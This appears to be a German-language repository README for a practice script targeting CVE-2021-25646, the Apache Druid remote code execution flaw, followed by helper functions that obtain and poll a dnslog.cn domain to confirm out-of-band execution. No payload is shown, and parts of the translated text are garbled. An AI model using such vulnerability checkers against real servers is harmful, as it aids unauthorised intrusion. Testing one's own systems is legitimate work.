givemefivw/cve-2021-25646CVE-2021-25646 Apache Druid Remote-Code-Execution-Schwachstelle Wker-Skript
In Arbeit ...
=====================================================================================
Zuerst möchte ich mich bei dem erfahrenen Wker für die Remote-Unterstützung bedanken.
Das Skript wurde zu Übungszwecken erstellt.
Das Skript verwendet DNSLog zur Überprüfung. Wenn die Schwachstelle vorhanden ist, ruft es automatisch die DNSLog-URL ab, führt einen Ping aus und gibt das Ergebnis aus.
script\ATTACKUTILS eine dns.wker-Datei an.#define dnsqian = Set-Cookie:[
#define dnshou = path=/
#define re = "(.*?)"
function DnsRef(cookie){
res = HttpGet("http://dnslog.cn/getrecords.php?t=0.3741317873165926",cookie.StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
r = StrRe(res[0],re);
if(GetArrayNum(r) >= 3){
return r[3];
}else{
return "";
}
}
function GetDomain(){
array r;
res = HttpGet("http://dnslog.cn/getdomain.php?t=0.16082432252184475","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
tmp = StrSplit(res[0],StrRN());
dns = tmp[0];
cookie = "Cookie: ".GettextMiddle(res[1],dnsqian,dnshou);
ArrayAddEle(r,dns);
ArrayAddEle(r,cookie);
return r;
}
